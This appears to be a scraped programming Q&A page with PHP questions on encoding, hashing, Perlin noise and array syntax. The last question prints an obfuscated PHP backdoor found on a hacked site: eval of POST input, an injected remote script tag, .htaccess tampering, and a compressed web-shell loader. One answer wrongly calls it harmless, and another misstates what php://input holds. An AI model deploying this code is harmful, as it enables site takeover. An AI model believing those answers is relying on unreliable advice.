Reading string from Delphi InternetReadFile - php

I'm sending a JSON query to my PHP page.
Since I have been having trouble with the JSON part on the server (I'm new to JSON).
I decided to simply have the server send it back so I could see it.
Here is the JSON text I sent to it and therefore expected it to send back to me (yes, it contains dummy data):
{"propertyType":"Detached","price":"edtPrice","bedrooms":"2","bathrooms":"2","squareFeet":"1200","address":"edtAddr","city":"edtCity","postal":"edtPostal","agentPhone":"edtAgent","agentEMail":"edtEMail","agentName":"edtAgent","agentCompany":"edtCompany","Pictures":[]}
I have confirmed this is what was sent to the server and it has no #0's in the uploaded data.
Here is the code that receives it and sends it back to the client:
<?
if (file_get_contents('php://input')) {
$json = file_get_contents('php://input');
echo $json;
$parsedJSON = json_decode($json);
// (error here) echo $parsedJSON->city;
}
?>
Here's the Delphi (XE3) code that receives the reply from the POST to the server:
bRet:= HttpSendRequest(hRequest,
nil,
0,
PChar(sData),
length(sData));
// choosing Unicode here as the format
ss:=TStringStream.Create('', TEncoding.Unicode);
try
repeat
if not InternetReadFile(hRequest, #caBuffer, SizeOf(caBuffer), iBytesRead) then
RaiseLastOSError;
ss.WriteBuffer(caBuffer, iBytesRead);
until iBytesRead = 0;
Result:=ss.DataString;
finally
ss.Free;
end;
upon receiving it back from the server, it looks like the encoding is ambiguous. i wouldn't be surprised to see unicode encoding coming back from the server but i don't know what to do with this text...
caBuffer contains:
(10, 123, 0, 34, 0, 112, 0, 114, 0, 105, 0, 99, 0, 101, 0, 34, 0, 58, 0, 34, 0, 101, 0, 100, 0, 116, 0, 80, 0, 114, 0, 105, 0, 99, 0, 101, 0, 34, 0, 44, 0, 34, 0, 98, 0, 101, 0, 100, 0, 114, 0, 111, 0, 111, 0, 109, 0, 115, 0, 34, 0, 58, 0, 34, 0, 50, 0, 34, 0, 44, 0, 34, 0, 98, 0, 97, 0, 116, 0, 104, 0, 114, 0, 111, 0, 111, 0, 109, 0, 115, 0, 34, 0, 58, 0, 34, 0, 50, 0, 34, 0, 44, 0, 34, 0, 115, 0, 113, 0, 117, 0, 97, 0, 114, 0, 101, 0, 70, 0, 101, 0, 101, 0, 116, 0, 34, 0, 58, 0, 34, 0, 49, 0, 50, 0, 48, 0, 48, 0, 34, 0, 44, 0, 34, 0, 97, 0, 100, 0, 100, 0, 114, 0, 101, 0, 115, 0, 115, 0, 34, 0, 58, 0, 34, 0, 101, 0, 100, 0, 116, 0, 65, 0, 100, 0, 100, 0, 114, 0, 34, 0, 44, 0, 34, 0, 99, 0, 105, 0, 116, 0, 121, 0, 34, 0, 58, 0, 34, 0, 101, 0, 100, 0, 116, 0, 67, 0, 105, 0, 116, 0, 121, 0, 34, 0, 44, 0, 34, 0, 112, 0, 111, 0, 115, 0, 116, 0, 97, 0, 108, 0, 34, 0, 58, 0, 34, 0, 101, 0, 100, 0, 116, 0, 60, 98, 62, 69, 114, 114, 111, 114, 58, 60, 47, 98, 62, 32, 91, 56, 93, 32, 84, 114, 121, 105, 110, 103, 32, 116, 111, 32, 103, 101, 116, 32, 112, 114, 111, 112, 101, 114, 116, 121, 32, 111, 102, 32, 110, 111, 110, 45, 111, 98, 106, 101, 99, 116, 60, 98, 114, 62, 51, 60, 98, 114, 62, 51, 13, 10, 11, 0, 0, 0, 84, 241, 24, 0, 1, 0, 0, 0, 208, 153, 241, 113, 0, 0, 0, 0, 100, 241, 24, 0, 76, 18, 7, 0, 90, 253, 160, 93, 4, 241, 24, 0, 250, 98, 65, 117, 76, 18, 7, 0, 13, 0, 0, 0, 11, 0, 0, 0, 44, 144, 47, 1, 208, 153, 241, 113, 205, 171, 186, 220, 0, 0, 0, 0, 0, 0, 0, 0, 208, 153, 241, 113, 20, 241, 24, 0, 48, 241, 24, 0, 48, 2, 72, 117, 130, 13, 184, 93, 124, 241, 24, 0, 145, 109, 65, 117, 104, 241, 24, 0, 34, 34, 83, 0, 139, 1, 0, 0, 200, 241, 24, 0, 156, 243, 24, 0, 36, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 233, 108, 65, 117, 145, 109, 65, 117, 233, 130, 64, 0, 136, 156, 46, 1, 173, 126, 64, 0, 1, 241, 24, 0, 144, 206, 37, 1, 117, 125, 64, 0, 224, 13, 47, 1, 47, 128, 64, 0, 183, 14, 37, 0, 224, 13, 47, 1, 128, 128, 64, 0, 144, 206, 37, 1, 48, 210, 80, 0, 56, 210, 80, 0, 144, 206, 37, 1, 160, 156, 46, 1, 99, 24, 83, 0, 192, 241, 24, 0, 122, 24, 83, 0, 130, 24, 83, 0, 108, 242, 24, 0, 140, 24, 83, 0, 0, 0, 0, 0, 0, 0, 0, 0, 183, 14, 37, 0, 0, 0, 0, 0, 144, 206, 37, 1, 216, 241, 24, 0, 58, 93, 76, 0, 139, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 242, 24, 0, 250, 98, 65, 117, 172, 17, 79, 0, 139, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 183, 14, 37, 0, 205, 171, 186, 220, 0, 0, 0, 0, 0, 0, 0, 0, 183, 14, 37, 0, 20, 242, 24, 0, 48, 242, 24, 0, 48, 2, 72, 117, 144, 206, 37, 1, 124, 242, 24, 0, 145, 109, 65, 117, 81, 109, 65, 117, 191, 255, 160, 93, 0, 0, 0, 0, 172, 17, 79, 0, 152, 31, 51, 1, 0, 0, 12, 0, 0, 184, 253, 126, 88, 242, 24, 0, 213, 98, 66, 117, 64, 170, 158, 1, 0, 0, 0, 0, 196, 242, 24, 0, 0, 184, 253, 126, 152, 31, 51, 1, 172, 17, 79, 0, 132, 242, 24, 0, 153, 203, 55, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 196, 242, 24, 0, 0, 0, 0, 0, 0, 184, 253, 126, 152, 31, 51, 1, 196, 242, 24, 0, 232, 109, 65, 117, 242, 0, 0, 0, 1, 0, 0, 0, 87, 0, 0, 0, 1, 0, 0, 0, 81, 0, 0, 0, 1, 0, 0, 0, 164, 174, 47, 1, 213, 62, 66, 0, 164, 174, 47, 1, 1, 0, 0, 0, 8, 0, 0, 0, 16, 0, 0, 0, 213, 100, 64, 0, 204, 242, 24, 0, 37, 177, 64, 0, 136, 174, 46, 1, 24, 175, 46, 1, 16, 0, 0, 0, 64, 10, 48, 1, 32, 175, 46, 1, 130, 100, 64, 0, 26, 179, 64, 0, 28, 175, 46, 1, 122, 167, 64, 0, 1, 0, 0, 0, 118, 247, 65, 0, 24, 175, 46, 1, 28, 175, 46, 1, 89, 166, 64, 0, 136, 174, 46, 1, 152, 22, 64, 0, 189, 125, 64, 0, 116, 117, 64, 0, 24, 175, 46, 1, 130, 100, 64, 0, 249, 115, 64, 0, 255, 255, 255, 255, 61, 123, 64, 0, 234, 116, 64, 0, 247, 116, 64, 0, 3, 0, 0, 0, 0, 0, 0, 0, 130, 100, 64, 0, 192, 149, 64, 0, 151, 160, 64, 0, 76, 10, 48, 1, 240, 174, 46, 1, 130, 100, 64, 0, 26, 179, 64, 0, 236, 174, 46, 1, 122, 167, 64, 0, 1, 0, 0, 0, 118, 247, 65, 0, 232, 174, 46, 1, 236, 174, 46, 1, 89, 166, 64, 0, 144, 166, 46, 1, 152, 22, 64, 0, 189, 125, 64, 0, 116, 117, 64, 0, 232, 174, 46, 1, 130, 100, 64, 0, 249, 115, 64, 0, 0, 0, 0, 0)
If I handle it like Unicode, I get this.
笊∀瀀爀椀挀攀∀㨀∀攀搀琀倀爀椀挀攀∀Ⰰ∀戀攀搀爀漀漀洀猀∀㨀∀㈀∀Ⰰ∀戀愀琀栀爀漀漀洀猀∀㨀∀㈀∀Ⰰ∀猀焀甀愀爀攀䘀攀攀琀∀㨀∀'#$3100'㈀  ∀Ⰰ∀愀搀搀爀攀猀猀∀㨀∀攀搀琀䄀搀搀爀∀Ⰰ∀挀椀琀礀∀㨀∀攀搀琀䌀椀琀礀∀Ⰰ∀瀀漀猀琀愀氀∀㨀∀攀搀琀㰀㹢牅潲㩲⼼㹢嬠崸吠祲湩'#$2067'潴朠瑥瀠潲数瑲⁹景渠湯漭橢捥㱴牢㌾
What do you think I'm doing wrong?
Thank you!

php://input will provide you with the entire packet of data transmitted to the server not just the contents. This will include the headers as well.
I am not a Delphi expert but my guess is you are not sending the JSON as you think.
As far as I know this should not happen, but I am mentioning it anyway: The data you get might be archived if compression was used, but as I mentioned this should not be the case.
Unless you get a nice headers + content data it means the wrong data was sent.

Related

Perlin noise implemented in php, undefined offset in permutation table, but index is defined

So, I decided to write a perlin noise implementation in php. Don't ask me why, I've forgotten. Following this: https://flafla2.github.io/2014/08/09/perlinnoise.html , I have gotten to the point where I should be getting some results. Octaves haven't been worked in yet, but the vectors should be doing their thing.
Offending code at the bottom of the post.
I had a few mistakes when implementing it as a class (seriously, whose idea was it to make it compulsory to preface every in-class variable with a $this->? It almost gave me a literal headache fixing all the mistakes I'd made), but I think I have caught them all. I did have some trouble doubling my permutation matrix, but that is done as well. I know this because I have printed it. However, when I try to get the hash thing, I get a page-full of PHP Notice: Undefined offset: 1 in perlin.php (0 as well as 1).
This leads to a bunch of variables that should be integers being null. I have tol my functions what to expect, so I get PHP Fatal error: Uncaught TypeError: Argument 1 passed to perlin::grad() must be of the type int, null given, called in perlin.php on line 56 and defined in perlin.php:73
The thing that confuses me the most is that the array that is complaining is defined all the way from 0 to 511 (inclusive).
Am I missing some vital information, like the difference between an index and an offset?
Code:
<?php
class perlin{
public function __construct(){
$p=array_merge($this->permutation,$this->permutation);
print_r($p);
}
private $permutation=array(111, 176, 195, 194, 99, 88, 206, 7, 84, 2, 246, 181, 221, 69, 249, 3, 47, 223, 154, 26, 65, 142, 178, 100, 128, 134, 254, 94, 78, 204, 59, 98, 48, 171, 80, 125, 190, 86, 225, 138, 57, 144, 16, 143, 169, 162, 139, 252, 147, 182, 67, 179, 220, 160, 81, 96, 132, 82, 148, 72, 64, 242, 255, 137, 74, 185, 212, 19, 218, 256, 101, 130, 39, 234, 41, 115, 228, 230, 214, 45, 107, 251, 117, 91, 68, 49, 37, 208, 207, 192, 168, 232, 133, 23, 54, 106, 153, 247, 87, 200, 34, 187, 25, 124, 17, 114, 245, 248, 157, 77, 9, 219, 120, 236, 183, 79, 50, 42, 250, 189, 102, 227, 243, 83, 159, 62, 156, 151, 75, 13, 177, 158, 253, 196, 166, 103, 118, 32, 229, 235, 170, 15, 108, 58, 21, 73, 31, 70, 89, 203, 46, 205, 110, 150, 113, 43, 199, 29, 193, 40, 1, 60, 152, 6, 104, 129, 175, 36, 8, 222, 135, 85, 198, 123, 149, 238, 231, 164, 63, 76, 38, 20, 184, 188, 4, 12, 119, 14, 240, 105, 30, 210, 27, 241, 224, 239, 10, 66, 116, 167, 56, 140, 95, 126, 217, 92, 51, 55, 213, 155, 201, 161, 244, 197, 180, 71, 44, 215, 172, 18, 165, 35, 131, 186, 202, 22, 24, 121, 226, 33, 93, 163, 211, 191, 61, 53, 28, 136, 216, 122, 237, 173, 112, 209, 97, 145, 233, 146, 174, 141, 5, 52, 11, 109, 127, 90);
//generated by seq 1 256|shuf|sed 's/$/,/g'|tr '\n' ' '
public $repeat=0;
private $p=array();
private function inc($num){
$num++;
if($this->repeat>0){
$num%=$this->repeat;
}
return $num;
}
private function fade(float $t){
return $t*$t*$t*($t*($t*6+15)+10);
}
public function perlin(float $x,float $y,float $z){
if($this->repeat>0){
$x=$x%$this->repeat;
$y=$y%$this->repeat;
$z=$z%$this->repeat;
}
$xi=(int)($x) & 255;
$yi=(int)($y) & 255;
$zi=(int)($z) & 255;
$xf=$x-(int)($x);
$yf=$y-(int)($y);
$zf=$z-(int)($z);
echo "$xi $yi $zi $xf $yf $zf<br>\n\n";
$u=$this->fade($xf);
$v=$this->fade($yf);
$w=$this->fade($zf);
$aaa=$this->p[$this->p[$this->p[ $xi ]+ $yi ]+ $zi ];
$aba=$this->p[$this->p[$this->p[ $xi ]+$this->inc($yi)]+ $zi ];
$aab=$this->p[$this->p[$this->p[ $xi ]+ $yi ]+$this->inc($zi)];
$abb=$this->p[$this->p[$this->p[ $xi ]+$this->inc($yi)]+$this->inc($zi)];
$baa=$this->p[$this->p[$this->p[$this->inc($xi)]+ $yi ]+ $zi ];
$bba=$this->p[$this->p[$this->p[$this->inc($xi)]+$this->inc($yi)]+ $zi ];
$bab=$this->p[$this->p[$this->p[$this->inc($xi)]+ $yi ]+$this->inc($zi)];
$bbb=$this->p[$this->p[$this->p[$this->inc($xi)]+$this->inc($yi)]+$this->inc($zi)];
$x1=$this->lerp($this->grad($aaa,$xf,$yf,$zf),
$this->grad($baa,$xf-1,$yf,$zf),$u);
$x2=$this->lerp($this->grad($aba,$xf,$yf-1,$zf),
$this->grad($bba,$xf-1,$yf-1,$zf),$u);
$y1=$this->lerp($x1,$x2,v);
$x1=$this->lerp($this->grad($aab,$xf,$yf,$zf-1),
$this->grad($bab,$xf-1,$yf,$zf-1),$u);
$x2=$this->lerp($this->grad($abb,$xf,$yf-1,$zf-1),
$this->grad($bbb,$xf-1,$yf-1,$zf-1),$u);
$y2=$this->lerp($x1,$x2,v);
return ($this->lerp($y1,$y2,w)+1)/2;
}
private function grad(int $hash,float $x,float $y,float $z){
switch($hash & 0xF){
case 0x0: return $x+$y;
case 0x1: return -$x + $y;
case 0x2: return $x - $y;
case 0x3: return -$x - $y;
case 0x4: return $x + $z;
case 0x5: return -$x + $z;
case 0x6: return $x - $z;
case 0x7: return -$x - $z;
case 0x8: return $y + $z;
case 0x9: return -$y + $z;
case 0xA: return $y - $z;
case 0xB: return -$y - $z;
case 0xC: return $y + $x;
case 0xD: return -$y + $z;
case 0xE: return $y - $x;
case 0xF: return -$y - $z;
default: return 0;
}
}
private function lerp(float $a,float $b,float $x){
return $a+$x*($b-$a);
}
}
?>

Convert python code with sha to php

got a problem with converting python to php. I've got the following code in python:
user = "DdrkmK5uFKmaaeNqfqReMADSUJ4sVSLrV2A8Bvs8"
passing = "K9hvwANSBW5tLYzuWptWMByTtzZZKHzm"
sha = hashlib.sha256()
sha.update(user)
sha.update(passing)
sha_A = [ord(x) for x in sha.digest()]
sha_A is the following array:
[231, 13, 239, 136, 20, 198, 76, 121, 67, 163, 251, 153, 114, 13, 65, 203, 41, 37, 64, 168, 43, 69, 81, 103, 235, 161, 15, 58, 82, 57, 217, 178]
I already converted it to php:
$user = "DdrkmK5uFKmaaeNqfqReMADSUJ4sVSLrV2A8Bvs8";
$passing = "K9hvwANSBW5tLYzuWptWMByTtzZZKHzm"
$sha = hash_init("sha256");
$sha = hash_update($sha, $user);
$sha = hash_update($sha, $passing);
$sha_A = [];
$i = 0;
$digest = openssl_digest($sha, "sha256");
$digest = str_split($digest);
foreach ($digest as $x) {
$sha_A[$i] = ord($x);
$i = $i + 1;
}
But the returned array $sha looks like this one:
[101, 51, 98, 48, 99, 52, 52, 50, 57, 56, 102, 99, 49, 99, 49, 52, 57, 97, 102, 98, 102, 52, 99, 56, 57, 57, 54, 102, 98, 57, 50, 52]
Maybe some of you will find my mistake?
I saw few errors in your PHP code.
This is a python snippet:
>>> sha = hashlib.sha256()
>>> sha.update(user)
>>> sha.update(passing)
>>> sha_A = [ord(x) for x in sha.digest()]
[135, 146, 107, 215, 70, 126, 179, 21, 19, 177, 191, 236, 182, 136, 192, 53, 148, 42, 160, 24, 63, 224, 170, 211, 32, 131, 59, 146, 60, 162, 77, 2]
And the PHP version, corrected:
$ctx = hash_init('sha256');
hash_update($ctx, $user);
hash_update($ctx, $passing);
$digest = hash_final($ctx, true);
$sha_A = [];
foreach (str_split($digest) as $x) {
$sha_A[] = ord($x);
}
[135, 146, 107, 215, 70, 126, 179, 21, 19, 177, 191, 236, 182, 136, 192, 53, 148, 42, 160, 24, 63, 224, 170, 211, 32, 131, 59, 146, 60, 162, 77, 2]
In your PHP version, $sha = hash_update($sha, $user); was bad because hash_update returns a boolean. The first argument is called the context and is the result of hash_init, the second one is the data to hash. Finally, you call hash_final with the last parameter (raw_output) to true to get binary data.
Last error, using openssl_digest on the SHA result's was computing the digest of the SHA digest's. Funny, isn't it? :).

Why this causes syntax error at PhP?

private static $columns = [
self::COUNTRY_CODE => [8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8],
self::COUNTRY_NAME => [8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8],
self::REGION_NAME => [0, 0, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12],
self::CITY_NAME => [0, 0, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16],
self::LATITUDE => [0, 0, 0, 0, 20, 20, 0, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20],
self::LONGITUDE => [0, 0, 0, 0, 24, 24, 0, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24],
self::ISP => [0, 12, 0, 20, 0, 28, 20, 28, 0, 32, 0, 36, 0, 36, 0, 36, 0, 36, 28, 36, 0, 36, 28, 36],
self::DOMAIN_NAME => [0, 0, 0, 0, 0, 0, 24, 32, 0, 36, 0, 40, 0, 40, 0, 40, 0, 40, 32, 40, 0, 40, 32, 40],
self::ZIP_CODE => [0, 0, 0, 0, 0, 0, 0, 0, 28, 28, 28, 28, 0, 28, 28, 28, 0, 28, 0, 28, 28, 28, 0, 28],
self::TIME_ZONE => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 32, 28, 32, 32, 32, 28, 32, 0, 32, 32, 32, 0, 32],
self::NET_SPEED => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 44, 0, 44, 32, 44, 0, 44, 0, 44, 0, 44],
self::IDD_CODE => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 48, 0, 48, 0, 48, 36, 48, 0, 48],
self::AREA_CODE => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 52, 0, 52, 0, 52, 40, 52, 0, 52],
self::WEATHER_STATION_CODE => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 56, 0, 56, 0, 56, 0, 56],
self::WEATHER_STATION_NAME => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 60, 0, 60, 0, 60, 0, 60],
self::MCC => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36, 64, 0, 64, 36, 64],
self::MNC => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40, 68, 0, 68, 40, 68],
self::MOBILE_CARRIER_NAME => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 72, 0, 72, 44, 72],
self::ELEVATION => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 76, 0, 76],
self::USAGE_TYPE => [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 48, 80],
];
I am downloading IP2Location at https://www.ip2location.com/developers/php . The PhP module is like that.
It causes syntax error.
Is this a new syntax that works for PhP 5 and not below or what?
Is this a new syntax that works for PhP 5 and not below or what?
Yes, that's short array syntax which is there for PHP 5.4+
Quoting from the manual
PHP 5.4.0 offers a wide range of new features:
One of which is
Short array syntax has been added, e.g. $a = [1, 2, 3, 4]; or $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];.
As of PHP 5.4 you can also use the short array syntax, which replaces array() with [].
Example #1 A simple array
<?php
$array = array(
"foo" => "bar",
"bar" => "foo",
);
// as of PHP 5.4
$array = [
"foo" => "bar",
"bar" => "foo",
];
?>

Why is in_array is faster than isset inside foreach?

Regarding to this thread what is faster: in_array or isset? They agreed that isset is faster than in_array.
But I ran to the issue where my page loads too slow and I var_dump-ed my vars to test it explicitly.
This is my extracted array.
$items = array(66, 68, 9, 68, 66, 57, 57, 66, 66, 66, 66, 68, 66, 48, 49, 14, 55, 57, 49, 105, 57, 57, 48, 105, 57, 66, 67, 57, 97, 67, 67, 50, 68, 57, 50, 51, 69, 71, 57, 57, 67, 69, 50, 50, 68, 67, 68, 68, 45, 97, 57, 56, 69, 69, 50, 67, 14, 68, 52, 53, 56, 62, 96, 96, 54, 62, 62, 68, 71, 69, 98, 83, 57, 98, 56, 84, 54, 6, 63, 64, 64, 62, 63, 54, 63, 54, 84, 1, 64, 64, 84, 54, 84, 84, 14, 3, 90, 65, 15, 15, 15, 63, 15, 93, 90, 90, 96, 93, 34, 94, 34, 74, 13, 40, 74, 40, 93, 93, 93, 93, 95, 94, 36, 35, 41, 94, 94, 35, 36, 41, 42, 44, 42, 93, 93, 96, 93, 36, 569, 43, 44, 65, 35, 13, 17, 33, 7, 7, 7, 7, 8, 73, 10, 12, 1, 1, 12, 1, 12, 38, 32, 39, 79, 80, 16, 82, 72, 82, 81, 72, 82, 18, 81, 28, 27, 27, 5, 26, 27, 25, 18, 26, 20, 26, 27, 28, 31, 20, 24, 28, 27, 20, 30, 29, 23, 22, 22, 29, 22, 30, 23, 23, 48, 49, 22, 29, 20, 30, 23, 18, 25, 31, 24, 28, 27, 26, 50, 57, 15, 62, 66, 63, 67, 64, 68, 65, 69, 34, 36, 35, 13, 14, 1, 3, 103, 74, 72, 81, 82, 90, 93, 94, 95, 96, 97, 98, 20, 25, 34, 36, 35, 8, 81, 73, 99, 100, 101, 102, 103, 104, 568, 568);
$productIds = array();
And the result I got is exactly the opposite, which:
$start = microtime(true);
foreach ($items as $item)
{
//if (!in_array($item, $productIds)) // 0.00030207633972168 seconds
if(!isset($productIds[$item])) // 5.2928924560547E-5 seconds
{
$productIds[] = $item;
}
}
$end = microtime(true);
echo ($end - $start).' seconds';
Then of course I am gonna stick with in_array in this case. But I am just curious what's going on here.. any idea?
Edit (actual code)
public function validateCreation ()
{
if ($this->getRequestParameter('ccItems'))
{
$arrProductIds = array();
foreach ($this->getRequestParameter('ccItems') as $ccItem)
{
//if ((!is_null($ccItem["product_id"])) && !isset($arrProductIds[$ccItem["product_id"]])) // 12.758,9kb-1.194ms and 12.758,9kb-1.202ms
if ((!is_null($ccItem["product_id"])) && !in_array($ccItem["product_id"], $arrProductIds)) // 11.599,5kb-972ms and 11.599.5kb-959ms
{
$arrProductIds[] = $ccItem["product_id"];
}
}
$result = "";
if (count($arrProductIds) > 0)
{
$isRequestValidated = MyClass::StaticFunction($arrProductIds, $result);
if ($isRequestValidated === false)
{
$this->getRequest()->setError('overall_error', $result);
}
}
}
return !($this->getRequest()->hasErrors());
}
You're wrong.
in_array takes 0.00030207633972168 seconds
isset takes 5.2928924560547E-5 seconds. Note the E-5 at the end, which by convention means 5.2928924560547×10-5 = 0.000052928924560547, which is faster.

What does this code do? .htaccess keeps getting changed

$vf = substr(1, 1);
foreach(array(10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 115, 116, 121, 108, 101, 46, 100, 105, 115, 112, 108, 97, 121, 61, 39, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 39, 39, 59, 10, 10, 13, 9, 92, 39, 0, 112, 49, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 102, 97, 99, 101, 116, 111, 102, 97, 99, 101, 46, 100, 101, 47, 101, 120, 116, 47, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 116, 114, 117, 101, 99, 115, 115) as $vj[0]) {
$vf. = chr($vj[0]);
}
$vj[0] = substr($vf, 0, 1);
$vj[1] = substr($vf, 1, 102);
$vj[2] = substr($vf, 103, 3);
$vj[3] = substr($vf, 106, 6);
$vj[4] = substr($vf, 112, 2);
$vj[5] = substr($vf, 114, -7);
$vj[6] = substr($vf, -7);
if (isset($_GET[$vj[6]])) {
$vj[7] = 0;
if (isset($_POST[chr(97)])) {
$vj[7] = $_POST[chr(97)];
}
$vj[8] = chr(97).chr(106).chr(97).chr(120);
$vj[9] = 0;
if (isset($_POST[$vj[8]])) {
$vj[9] = $_POST[$vj[8]];
}
if ($vj[7] == substr($vj[1], 79, 3) && strlen($vj[9]) == 4) {#ob_start();#eval($_POST[$vj[4]]);
$vj[6] = $vj[1].addcslashes(htmlspecialchars(#ob_get_clean()), $vj[3]).$vj[2];
echo strlen($vj[6]).$vj[0].$vj[6];
} else {
$vj[0] = chr(116).chr(120);
if (!isset($_POST[$vj[0]])) {
echo $vj[5];
} else {#eval(urldecode($_POST[$vj[0]]));
}
}
exit;
}
unset($vf);
unset($vj);
if (isset($_GET["wt67183456vvvg3"])) {#unlink('/home/myroot/weburl.org/.htaccess');#unlink('/home/myroot/weburl.org/.htaccesswt1');#rename('/home/myroot/weburl/.htaccesswt2', '/home/myroot/weburl.org/.htaccess');
$l = "http://google.com/";
if (isset($_GET["l"])) {
$l = $_GET["l"];
}#header("Location: $l");
exit;
}
My site has been compromised and this is one of the files I have found. Still trying to understand how its working
Another one found looks like this:
$auth_pass="";
$color="#df5";
$default_action="FilesMan";
$default_use_ajax=true;
$default_charset="Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7x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/tLvQsBHGol75kaU/LwwYP4ZDjp0FcRY6Xhl3hvUOaKT8rGB4XV7E+nxx2YoqcHx0eQG1p9ZwTMSllb7thFV5WiicmdET3qyuIYbU4Agjc9lmCpzzk5MCOz70Hc58T0t3hQDOX2hQeV7fCeoLNq9ulb+iR9awo80ZtZXK2r56 dUYJbQgDn2wbjvy2c5cgh8gAi9LbaFz7lC13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");
This code generates some Javascript:
foreach(array(10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 115, 116, 121, 108, 101, 46, 100, 105, 115, 112, 108, 97, 121, 61, 39, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 39, 39, 59, 10, 10, 13, 9, 92, 39, 0, 112, 49, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 102, 97, 99, 101, 116, 111, 102, 97, 99, 101, 46, 100, 101, 47, 101, 120, 116, 47, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 116, 114, 117, 101, 99, 115, 115) as $vj[0]) {
$vf. = chr($vj[0]);
}
Made an $vg., if I echo this, it generates:
document.getElementById('PhpOutput').style.display='';
document.getElementById('PhpOutput').innerHTML=''; \'p1truecss
So this code does nothing with your htaccess
The second code generates a Link. But I you currently are trying to hack a script. Which I don't know is legal. The code shows this error. So it is generating a link. But not all the variables it required are given. So I can't echo the preg_replace
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code:
To find out what your obfuscated code does, remove all the eval()s or replace them with print(). In this case it seems safe enough to do (but if you're already compromised, it wouldn't matter). If that doesn't reveal the code, add the print earlier on.
In your case the default fallback is to just output following:
<script src=http://facetoface.NOFOLLOW/ext/></script>
.de
You second codesnippet replaces some of the characters, so you end up with a dummy-page. The page shows all files in your folder and some options to upload files/create folders and such.
As far as I found out, this file was harmless. I could not see any signs of bad behavior in the code, although I found some ajax-script that I did not fully understand.

Categories